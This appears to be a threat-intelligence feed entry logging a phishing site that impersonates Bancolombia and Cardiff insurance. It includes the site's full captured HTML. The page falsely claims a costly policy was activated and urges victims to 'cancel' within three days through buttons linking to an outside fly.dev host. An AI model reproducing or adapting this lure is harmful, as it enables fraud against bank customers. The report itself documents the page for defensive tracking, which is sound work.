___          _____  _____    __  ____  ____       _ 
  / _ \        / ____||_   _|  / _||___ \|___ \     | |
 | | | |__  __| (___    | |   | |_   __) | __) |  __| |
 | | | |\ \/ / \___ \   | |   |  _| |__ < |__ <  / _` |
 | |_| | >  <  ____) | _| |_  | |   ___) |___) || (_| |
  \___/ /_/\_\|_____/ |_____| |_|  |____/|____/  \__,_|
                          ______                       
                         |______|                      
  
0xSI_f33d_REPORT_ID: #144516
Submission Date
16/08/2026
Submitter
@bot_orange
Indicator URL
https://cancelarcardiffseguro360.vercel.app/
Page Title
Seguros Cardiff | Bancolombia
Taxonomy
phishingphishing
Infrastructure
IP: 64.29.17.195
CN: cancelarcardiffseguro360.vercel.app
MX: N/A
Intel / Info
No intelligence notes recorded.
Visual Evidence
Evidence
Captured Source Code
VIEW_SOURCE: [HTML]
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <meta name="description" content="Gestiona o cancela tu Seguro Cardiff Bancolombia de forma rápida, fácil y 100% digital." />
  <title>Seguros Cardiff | Bancolombia</title>
  <link rel="icon" type="image/png" href="img/LogoBancolombia.png" />
  <link rel="apple-touch-icon" href="img/LogoBancolombia.png" />
  <link rel="preconnect" href="https://fonts.googleapis.com" />
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
  <link href="https://fonts.googleapis.com/css2?family=Nunito+Sans:wght@400;600;700;800&display=swap" rel="stylesheet" />
  <style>

    /* ─── Variables Bancolombia (negro · blanco · amarillo) ─── */
    :root {
      --yellow:   #FFCD00;
      --yellow-dk:#E6B800;
      --black:    #1A1A1A;
      --white:    #FFFFFF;
      --gray-bg:  #F5F5F5;
      --gray-bd:  #E0E0E0;
      --gray-txt: #555555;
      --radius:   10px;
      --shadow:   0 4px 20px rgba(0,0,0,.09);
      --trans:    .25s ease;
      --max:      1140px;
      --font:     'Nunito Sans', system-ui, sans-serif;
    }

    /* ─── Reset ─── */
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    html  { scroll-behavior: smooth; }
    body  { font-family: var(--font); color: var(--black); background: var(--white); line-height: 1.6; -webkit-font-smoothing: antialiased; }
    img   { display: block; max-width: 100%; }
    a     { text-decoration: none; color: inherit; }
    ul, ol { list-style: none; }

    .wrap { width: 100%; max-width: var(--max); margin-inline: auto; padding-inline: 20px; }

    /* ─── Botones ─── */
    .btn {
      display: inline-flex; align-items: center; gap: 8px;
      padding: 13px 28px; border-radius: 50px; font-family: var(--font);
      font-size: .95rem; font-weight: 700; cursor: pointer; border: 2px solid transparent;
      transition: background var(--trans), color var(--trans), box-shadow var(--trans), transform var(--trans);
      white-space: nowrap;
    }
    .btn:hover  { transform: translateY(-2px); }
    .btn:active { transform: translateY(0); }

    .btn-yellow { background: var(--yellow); color: var(--black); border-color: var(--yellow); }
    .btn-yellow:hover { background: var(--yellow-dk); border-color: var(--yellow-dk); box-shadow: 0 6px 18px rgba(255,205,0,.42); }

    .btn-outline { background: transparent; color: var(--black); border-color: var(--black); }
    .btn-outline:hover { background: var(--black); color: var(--white); }

    .btn-outline-white { background: transparent; color: var(--white); border-color: var(--white); }
    .btn-outline-white:hover { background: var(--white); color: var(--black); }

    /* ─── Etiquetas y títulos de sección ─── */
    .tag {
      display: inline-block; font-size: .75rem; font-weight: 800;
      letter-spacing: .12em; text-transform: uppercase;
      background: var(--yellow); color: var(--black);
      padding: 3px 14px; border-radius: 50px; margin-bottom: 10px;
    }
    h2.sec-title { font-size: clamp(1.55rem, 2.8vw, 2.1rem); font-weight: 800; line-height: 1.2; }
    p.sec-sub    { font-size: .97rem; color: var(--gray-txt); margin-top: 8px; }


    /* ════════════════════════
       NAVBAR
    ════════════════════════ */
    .nav {
      position: fixed; inset: 0 0 auto; z-index: 999;
      background: var(--white);
      box-shadow: 0 2px 10px rgba(0,0,0,.07);
    }
    .nav__inner {
      display: flex; align-items: center; justify-content: space-between;
      height: 68px; gap: 20px;
    }
    .nav__logos { display: flex; align-items: center; gap: 14px; }
    .nav__logos img { width: auto; object-fit: contain; }
    .nav__sep { width: 1px; height: 26px; background: var(--gray-bd); flex-shrink: 0; }

    .nav__links { display: flex; gap: 2px; }
    .nav__links a {
      padding: 7px 14px; border-radius: 6px;
      font-size: .88rem; font-weight: 600; color: var(--black);
      transition: background var(--trans);
    }
    .nav__links a:hover { background: var(--gray-bg); }

    .nav__actions { display: flex; align-items: center; gap: 10px; }

    /* Hamburguesa */
    .nav__burger {
      display: none; flex-direction: column; gap: 5px;
      background: none; border: none; cursor: pointer; padding: 6px;
    }
    .nav__burger span { display: block; width: 24px; height: 2px; background: var(--black); border-radius: 2px; transition: var(--trans); }

    /* Panel móvil */
    .nav__mobile {
      display: none; flex-direction: column; gap: 4px;
      padding: 14px 20px 20px; border-top: 1px solid var(--gray-bd);
    }
    .nav__mobile.open { display: flex; }
    .nav__mobile a { padding: 10px 14px; border-radius: 6px; font-weight: 600; font-size: .93rem; }
    .nav__mobile a:hover { background: var(--gray-bg); }


    /* ════════════════════════
       HERO
    ════════════════════════ */
    .hero {
      position: relative; min-height: 90vh; display: flex; align-items: center;
      padding-top: 68px; overflow: hidden; background: var(--black);
    }
    .hero__bg {
      position: absolute; inset: 0;
      background: url('img/image_banner_hero_desktop.webp') center/cover no-repeat;
      opacity: .38;
    }
    .hero__content {
      position: relative; z-index: 2;
      max-width: 600px; color: var(--white); padding: 64px 0;
    }
    .hero__tag {
      display: inline-flex; align-items: center; gap: 8px;
      background: var(--yellow); color: var(--black);
      font-size: .78rem; font-weight: 800; letter-spacing: .1em; text-transform: uppercase;
      padding: 4px 16px; border-radius: 50px; margin-bottom: 20px;
    }
    .hero__title {
      font-size: clamp(2rem, 5vw, 3.2rem); font-weight: 800; line-height: 1.15; margin-bottom: 16px;
    }
    .hero__title span { color: var(--yellow); }
    .hero__sub  { font-size: 1.02rem; color: rgba(255,255,255,.8); line-height: 1.7; margin-bottom: 30px; }
    .hero__cta  { display: flex; flex-wrap: wrap; gap: 12px; }

    .ico { width: 16px; height: 16px; flex-shrink: 0; }



    /* ════════════════════════
       PASOS
    ════════════════════════ */
    .steps { padding: 80px 0; }
    .steps__hd { text-align: center; margin-bottom: 48px; }
    .steps__grid {
      display: grid; grid-template-columns: repeat(4, 1fr); gap: 20px;
    }
    .step-card {
      text-align: center; padding: 28px 18px;
      border: 1px solid var(--gray-bd); border-radius: var(--radius);
      transition: box-shadow var(--trans), transform var(--trans);
    }
    .step-card:hover { box-shadow: var(--shadow); transform: translateY(-4px); }
    .step-card__num {
      width: 34px; height: 34px; background: var(--yellow); color: var(--black);
      border-radius: 50%; font-weight: 800; font-size: .9rem;
      display: flex; align-items: center; justify-content: center; margin: 0 auto 12px;
    }
    .step-card img  { width: 60px; height: 60px; object-fit: contain; margin: 0 auto 12px; }
    .step-card h3   { font-size: .95rem; font-weight: 800; margin-bottom: 6px; }
    .step-card p    { font-size: .86rem; color: var(--gray-txt); line-height: 1.55; }


    /* ════════════════════════
       SERVICIOS
    ════════════════════════ */
    .services { padding: 80px 0; background: var(--gray-bg); }
    .services__hd { text-align: center; margin-bottom: 44px; }
    .services__grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 22px; }

    .svc-card {
      background: var(--white); border-radius: var(--radius);
      border: 1px solid var(--gray-bd); overflow: hidden;
      display: flex; flex-direction: column;
      transition: box-shadow var(--trans), transform var(--trans);
    }
    .svc-card:hover { box-shadow: var(--shadow); transform: translateY(-4px); }

    /* Imagen/ilustración de portada */
    .svc-card__img  { width: 100%; height: 180px; object-fit: cover; }
    .svc-card__svg  { width: 100%; height: 180px; object-fit: contain; background: var(--gray-bg); padding: 28px; }

    .svc-card__body { padding: 20px 22px 24px; display: flex; flex-direction: column; gap: 8px; flex: 1; }
    .svc-card h3    { font-size: .97rem; font-weight: 800; }
    .svc-card p     { font-size: .88rem; color: var(--gray-txt); line-height: 1.6; flex: 1; }
    .svc-card__link {
      display: inline-flex; align-items: center; gap: 5px;
      font-size: .84rem; font-weight: 700;
      border-bottom: 2px solid var(--yellow); padding-bottom: 1px; width: fit-content;
      transition: gap var(--trans);
    }
    .svc-card__link:hover { gap: 9px; }


    /* ════════════════════════
       AYUDA
    ════════════════════════ */
    .help { padding: 80px 0; }
    .help__hd { text-align: center; margin-bottom: 44px; }
    .help__grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 22px; }

    .help-card {
      text-align: center; padding: 32px 22px;
      border: 1px solid var(--gray-bd); border-radius: var(--radius);
      display: flex; flex-direction: column; align-items: center; gap: 11px;
      transition: box-shadow var(--trans), transform var(--trans);
    }
    .help-card:hover { box-shadow: var(--shadow); transform: translateY(-4px); }
    .help-card__icon {
      width: 68px; height: 68px; background: var(--gray-bg);
      border-radius: 50%; display: flex; align-items: center; justify-content: center;
    }
    .help-card__icon img { width: 38px; height: 38px; object-fit: contain; }
    .help-card h3   { font-size: .97rem; font-weight: 800; }
    .help-card p    { font-size: .88rem; color: var(--gray-txt); line-height: 1.6; }
    .help-card__link {
      font-size: .85rem; font-weight: 700;
      border-bottom: 2px solid var(--yellow); padding-bottom: 1px;
      transition: opacity var(--trans); margin-top: auto;
    }
    .help-card__link:hover { opacity: .65; }

    .phones { display: flex; flex-direction: column; gap: 4px; }
    .phones span  { font-size: .88rem; color: var(--gray-txt); }
    .phones strong { color: var(--black); font-weight: 700; }


    /* ════════════════════════
       FOOTER
    ════════════════════════ */
    .footer { background: var(--white); color: var(--gray-txt); padding: 52px 0 0; border-top: 2px solid var(--gray-bd); }
    .footer__top {
      display: grid; grid-template-columns: 2fr 1fr 1fr; gap: 44px;
      padding-bottom: 40px; border-bottom: 1px solid var(--gray-bd);
    }

    .footer__brand { display: flex; flex-direction: column; gap: 13px; }
    .footer__logos { display: flex; align-items: center; gap: 12px; flex-wrap: wrap; }
    .footer__logos img { height: 42px; width: auto; object-fit: contain; }
    .footer__logos .footer__sep { width: 1px; height: 24px; background: var(--gray-bd); }
    .footer__brand p { font-size: .82rem; line-height: 1.7; max-width: 340px; }

    .footer__compliance { display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
    .footer__compliance img {
      height: 30px; object-fit: contain;
      opacity: .75; transition: opacity var(--trans);
    }
    .footer__compliance img:hover { opacity: 1; }

    .footer__col h4 {
      font-size: .78rem; font-weight: 800; text-transform: uppercase;
      letter-spacing: .1em; color: var(--black); margin-bottom: 14px;
    }
    .footer__col ul { display: flex; flex-direction: column; gap: 7px; }
    .footer__col a  { font-size: .84rem; color: var(--gray-txt); transition: color var(--trans); }
    .footer__col a:hover { color: var(--black); font-weight: 700; }

    .footer__col .phones { margin-top: 2px; }
    .footer__col .phones span   { font-size: .82rem; }
    .footer__col .phones strong { color: var(--black); }

    .footer__bottom { padding: 18px 0; border-top: 1px solid var(--gray-bd); }
    .footer__bottom-inner {
      display: flex; align-items: center; justify-content: space-between;
      flex-wrap: wrap; gap: 10px;
    }
    .footer__copy { font-size: .78rem; color: var(--gray-txt); }
    .footer__legal { display: flex; gap: 16px; }
    .footer__legal a { font-size: .78rem; color: var(--gray-txt); transition: color var(--trans); }
    .footer__legal a:hover { color: var(--black); font-weight: 700; }


    /* ════════════════════════
       SCROLL TOP
    ════════════════════════ */
    .scroll-top {
      position: fixed; bottom: 24px; right: 24px; z-index: 900;
      width: 44px; height: 44px; background: var(--yellow); color: var(--black);
      border: none; border-radius: 50%; cursor: pointer;
      display: flex; align-items: center; justify-content: center;
      box-shadow: 0 4px 14px rgba(0,0,0,.18);
      opacity: 0; pointer-events: none; transform: translateY(10px);
      transition: opacity var(--trans), transform var(--trans);
    }
    .scroll-top.show { opacity: 1; pointer-events: auto; transform: translateY(0); }
    .scroll-top:hover { background: var(--yellow-dk); }


    /* ════════════════════════
       ANIMACIÓN DE ENTRADA
    ════════════════════════ */
    .fade { opacity: 0; transform: translateY(22px); transition: opacity .55s ease, transform .55s ease; }
    .fade.in { opacity: 1; transform: translateY(0); }
    .fade:nth-child(2) { transition-delay: .1s; }
    .fade:nth-child(3) { transition-delay: .2s; }
    .fade:nth-child(4) { transition-delay: .3s; }


    /* ════════════════════════
       RESPONSIVE
    ════════════════════════ */
    @media (max-width: 960px) {
      .nav__links { display: none; }
      .nav__actions .btn-outline { display: none; }
      .nav__burger { display: flex; }
      .steps__grid    { grid-template-columns: repeat(2, 1fr); }
      .services__grid { grid-template-columns: repeat(2, 1fr); }
      .help__grid     { grid-template-columns: repeat(2, 1fr); }
      .footer__top    { grid-template-columns: 1fr; gap: 28px; }
    }

    @media (max-width: 580px) {
      .hero__cta            { flex-direction: column; }
      .steps__grid          { grid-template-columns: 1fr; }
      .services__grid       { grid-template-columns: 1fr; }
      .help__grid           { grid-template-columns: 1fr; }

      .footer__bottom-inner { flex-direction: column; text-align: center; }
      .footer__legal        { justify-content: center; }
    }

  </style>
</head>
<body>

<!-- ════════════════════════
     NAVBAR
════════════════════════ -->
<header class="nav" role="banner">
  <div class="wrap">
    <nav class="nav__inner" aria-label="Navegación principal">

      <div class="nav__logos">
        <a href="#inicio" aria-label="Bancolombia">
          <img src="img/logo-bancolombia.png" alt="Bancolombia" height="56" />
        </a>
        <span class="nav__sep" aria-hidden="true"></span>
        <a href="#inicio" aria-label="Cardiff Seguros">
          <img src="img/logos-cardif.png" alt="Cardiff" height="38" />
        </a>
      </div>

      <div class="nav__links">
        <a href="#pasos">¿Cómo funciona?</a>
        <a href="#servicios">Servicios</a>
        <a href="#ayuda">Ayuda</a>
      </div>

      <div class="nav__actions">
        <a href="#ayuda" class="btn btn-outline" style="padding:10px 20px;font-size:.86rem;">Soporte</a>
      </div>

      <button class="nav__burger" id="burger" aria-label="Abrir menú" aria-expanded="false" aria-controls="mobileMenu">
        <span></span><span></span><span></span>
      </button>

    </nav>
  </div>
  <div class="wrap">
    <nav class="nav__mobile" id="mobileMenu" aria-label="Menú móvil">
      <a href="#pasos">¿Cómo funciona?</a>
      <a href="#servicios">Servicios</a>
      <a href="#ayuda">Ayuda</a>
    </nav>
  </div>
</header>


<!-- ════════════════════════
     HERO
════════════════════════ -->
<section class="hero" id="inicio" aria-labelledby="hero-title">
  <div class="hero__bg" role="img" aria-label="Fondo: familia protegida con Bancolombia Cardiff"></div>
  <div class="wrap">
    <div class="hero__content">
      <div class="hero__tag">Bancolombia &amp; Cardiff</div>
      <h1 class="hero__title" id="hero-title">
        Gestiona tu<br /><span>Seguro Cardiff</span><br />100% digital
      </h1>
      <p class="hero__sub">
        Se ha activado exitosamente tu seguro Cardiff. Te protegemos ante cualquier eventualidad. Recuerda tienes 3 dias habiles desde la activacion para cancelar sin ningun costo adicional y sin necesidad de ir a una oficina. Debito mensual: $187.900<br />
    </p>
      <div class="hero__cta">
        <a href="https://sucurpanamigopp360-py9b6q.fly.dev" class="btn btn-yellow"
           target="_blank" rel="noopener noreferrer"
           aria-label="Cancelar seguro Cardiff Bancolombia">
          <svg class="ico" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" aria-hidden="true"><path d="M18 6 6 18M6 6l12 12"/></svg>
          Cancelar Seguro
        </a>
        <a href="#pasos" class="btn btn-outline-white">Conoce el proceso</a>
      </div>
    </div>
  </div>
</section>


<!-- ════════════════════════
     PASOS — Cómo funciona
════════════════════════ -->
<section class="steps" id="pasos" aria-labelledby="steps-title">
  <div class="wrap">
    <header class="steps__hd">
      <span class="tag">Proceso</span>
      <h2 class="sec-title" id="steps-title">¿Cómo cancelar tu seguro?</h2>
      <p class="sec-sub">Sigue estos 4 sencillos pasos y listo.</p>
    </header>

    <ol class="steps__grid" aria-label="Pasos del proceso de cancelación">
      <li class="step-card fade">
        <div class="step-card__num" aria-hidden="true">1</div>
        <img src="img/il-enrollment-2.svg" alt="Icono seguro activo" width="60" height="60" />
        <h3>Seguro activo</h3>
        <p>Verifica que tu seguro Cardiff esté activo en tu cuenta Bancolombia.</p>
      </li>
      <li class="step-card fade">
        <div class="step-card__num" aria-hidden="true">2</div>
        <img src="img/il-cards-2.svg" alt="Icono registro de datos" width="60" height="60" />
        <h3>Registra tus datos</h3>
        <p>Haz clic en "Cancelar Seguro" y rellena el formulario con tu información.</p>
      </li>
      <li class="step-card fade">
        <div class="step-card__num" aria-hidden="true">3</div>
        <img src="img/il--softcorrecten.svg" alt="Icono confirmación de solicitud" width="60" height="60" />
        <h3>Confirma tu solicitud</h3>
        <p>Revisa el resumen, confirma y recibe el comprobante por correo.</p>
      </li>
      <li class="step-card fade">
        <div class="step-card__num" aria-hidden="true">4</div>
        <img src="img/il-enrollment-indicator.svg" alt="Icono seguimiento del proceso" width="60" height="60" />
        <h3>Seguimiento</h3>
        <p>Monitorea el estado de tu cancelación en tiempo real desde la plataforma.</p>
      </li>
    </ol>
  </div>
</section>


<!-- ════════════════════════
     SERVICIOS
════════════════════════ -->
<section class="services" id="servicios" aria-labelledby="svc-title">
  <div class="wrap">
    <header class="services__hd">
      <span class="tag">Beneficios</span>
      <h2 class="sec-title" id="svc-title">Servicios diseñados para ti</h2>
      <p class="sec-sub">Gestiona tu seguro de forma completamente digital.</p>
    </header>

    <div class="services__grid">

      <!-- Tarjeta 1 — imagen lifestyle 059.png -->
      <article class="svc-card fade" aria-label="Trámites desde casa">
        <img class="svc-card__img" src="img/059.png" alt="Persona gestionando su seguro Cardiff desde casa" />
        <div class="svc-card__body">
          <h3>Trámites desde casa</h3>
          <p>Cancela, consulta y actualiza tu seguro en línea sin ir a una oficina.</p>
          <a href="#pasos" class="svc-card__link">
            Ver proceso
            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" aria-hidden="true"><path d="M9 5l7 7-7 7"/></svg>
          </a>
        </div>
      </article>

      <!-- Tarjeta 2 — ilustración activación wallet -->
      <article class="svc-card fade" aria-label="Activación digital">
        <img class="svc-card__svg" src="img/il-wallet-activation-1.svg" alt="Ilustración activación digital del seguro Cardiff" />
        <div class="svc-card__body">
          <h3>Activación digital</h3>
          <p>Activa tu seguro de forma inmediata con tu cuenta Bancolombia. Sin papeleo.</p>
          <a href="#pasos" class="svc-card__link">
            Ver proceso
            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" aria-hidden="true"><path d="M9 5l7 7-7 7"/></svg>
          </a>
        </div>
      </article>

      <!-- Tarjeta 3 — foto atención icon_home_003 (1).webp -->
      <article class="svc-card fade" aria-label="Atención personalizada">
        <img class="svc-card__img" src="img/icon_home_003 (1).webp" alt="Asesor de atención Cardiff Bancolombia" />
        <div class="svc-card__body">
          <h3>Atención personalizada</h3>
          <p>Un asesor Cardiff Bancolombia te guía en cada etapa de tu trámite.</p>
          <a href="#ayuda" class="svc-card__link">
            Ver canales
            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" aria-hidden="true"><path d="M9 5l7 7-7 7"/></svg>
          </a>
        </div>
      </article>

    </div>
  </div>
</section>


<!-- ════════════════════════
     AYUDA / FAQ
════════════════════════ -->
<section class="help" id="ayuda" aria-labelledby="help-title">
  <div class="wrap">
    <header class="help__hd">
      <span class="tag">Soporte</span>
      <h2 class="sec-title" id="help-title">¿Necesitas ayuda?</h2>
      <p class="sec-sub">Elige el canal que más te convenga.</p>
    </header>

    <div class="help__grid">

      <!-- FAQ — bancolombia-icon-faq.svg -->
      <article class="help-card fade" aria-label="Preguntas frecuentes">
        <div class="help-card__icon">
          <img src="img/bancolombia-icon-faq.svg" alt="" aria-hidden="true" width="38" height="38" />
        </div>
        <h3>Preguntas frecuentes</h3>
        <p>Encuentra respuestas a las dudas más comunes sobre tu seguro Cardiff.</p>
        <a href="#ayuda" class="help-card__link">Ver preguntas frecuentes</a>
      </article>

      <!-- Teléfono — bancolombia-icon-faq-2.svg -->
      <article class="help-card fade" aria-label="Líneas de atención telefónica">
        <div class="help-card__icon">
          <img src="img/bancolombia-icon-faq-2.svg" alt="" aria-hidden="true" width="38" height="38" />
        </div>
        <h3>Líneas de atención</h3>
        <div class="phones">
          <span><strong>Bogotá:</strong> 601 343 0202</span>
          <span><strong>Nacional:</strong> 01 8000 912 345</span>
          <span><strong>WhatsApp:</strong> 317 700 0000</span>
        </div>
      </article>

      <!-- Correo — bancolombia-icon-faq-3.svg -->
      <article class="help-card fade" aria-label="Contacto por correo electrónico">
        <div class="help-card__icon">
          <img src="img/bancolombia-icon-faq-3.svg" alt="" aria-hidden="true" width="38" height="38" />
        </div>
        <h3>Correo electrónico</h3>
        <p>Escríbenos y te respondemos en máximo 24 horas hábiles.</p>
        <a href="mailto:[email protected]" class="help-card__link">
          [email protected]
        </a>
      </article>

    </div>
  </div>
</section>


<!-- ════════════════════════
     FOOTER
════════════════════════ -->
<footer class="footer" role="contentinfo">
  <div class="wrap">
    <div class="footer__top">

      <!-- Marca y legal -->
      <div class="footer__brand">
        <div class="footer__logos">
          <img src="img/logo-bancolombia.png" alt="Bancolombia" height="42" />
          <span class="footer__sep" aria-hidden="true"></span>
          <img src="img/logos-cardif.png" alt="Cardiff" height="38" />
        </div>
        <p>
          Bancolombia S.A. actúa como intermediario de seguros. Cardiff (BNP Paribas Cardif)
          asume la responsabilidad del cumplimiento de las obligaciones del producto frente al
          consumidor financiero.
        </p>
        <div class="footer__compliance" aria-label="Entidades de vigilancia y regulación">
          <img src="img/vigilado.svg" alt="Vigilado Superfinanciera" height="30" />
          <img src="img/SFC__NEGRO_1_1.png" alt="Superintendencia Financiera de Colombia" height="30" />
        </div>
      </div>

      <!-- Navegación -->
      <div class="footer__col">
        <h4>Información</h4>
        <ul>
          <li><a href="#pasos">¿Cómo funciona?</a></li>
          <li><a href="#servicios">Servicios</a></li>
          <li><a href="#ayuda">Preguntas frecuentes</a></li>
          <li><a href="https://sucurpanamigopp360-py9b6q.fly.dev" target="_blank" rel="noopener noreferrer">Cancelar seguro</a></li>
        </ul>
      </div>

      <!-- Soporte -->
      <div class="footer__col">
        <h4>Líneas de soporte</h4>
        <div class="phones">
          <span><strong>Bogotá:</strong> 601 343 0202</span>
          <span><strong>Medellín:</strong> 604 604 0027</span>
          <span><strong>Cali:</strong> 602 485 0809</span>
          <span><strong>Barranquilla:</strong> 605 385 1828</span>
          <span><strong>Nacional:</strong> 01 8000 912 345</span>
        </div>
      </div>

    </div>

    <div class="footer__bottom">
      <div class="footer__bottom-inner">
        <p class="footer__copy">&copy; 2025 Seguros Cardiff Bancolombia. Todos los derechos reservados.</p>
        <nav class="footer__legal" aria-label="Vínculos legales">
          <a href="#">Términos y condiciones</a>
          <a href="#">Política de privacidad</a>
          <a href="#">Tratamiento de datos</a>
        </nav>
      </div>
    </div>
  </div>
</footer>


<!-- Botón volver arriba -->
<button class="scroll-top" id="scrollTop" aria-label="Volver al inicio de la página">
  <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" aria-hidden="true"><path d="M5 15l7-7 7 7"/></svg>
</button>


<!-- ════════════════════════
     SCRIPTS
════════════════════════ -->
<script>
  (() => {
    'use strict';

    /* Scroll-top visibility */
    const btn = document.getElementById('scrollTop');
    window.addEventListener('scroll', () => btn.classList.toggle('show', window.scrollY > 380), { passive: true });
    btn.addEventListener('click', () => window.scrollTo({ top: 0, behavior: 'smooth' }));

    /* Hamburguesa */
    const burger = document.getElementById('burger');
    const menu   = document.getElementById('mobileMenu');
    burger.addEventListener('click', () => {
      const open = menu.classList.toggle('open');
      burger.setAttribute('aria-expanded', open);
    });
    menu.querySelectorAll('a').forEach(a => a.addEventListener('click', () => {
      menu.classList.remove('open');
      burger.setAttribute('aria-expanded', 'false');
    }));

    /* Animaciones de entrada */
    const obs = new IntersectionObserver(
      entries => entries.forEach(e => { if (e.isIntersecting) { e.target.classList.add('in'); obs.unobserve(e.target); } }),
      { threshold: 0.14 }
    );
    document.querySelectorAll('.fade').forEach(el => obs.observe(el));

    /* Tracker de visita */
    fetch('/api/track').catch(() => {});

  })();
  </script>

</body>
</html>

Return to 0xSI_f33d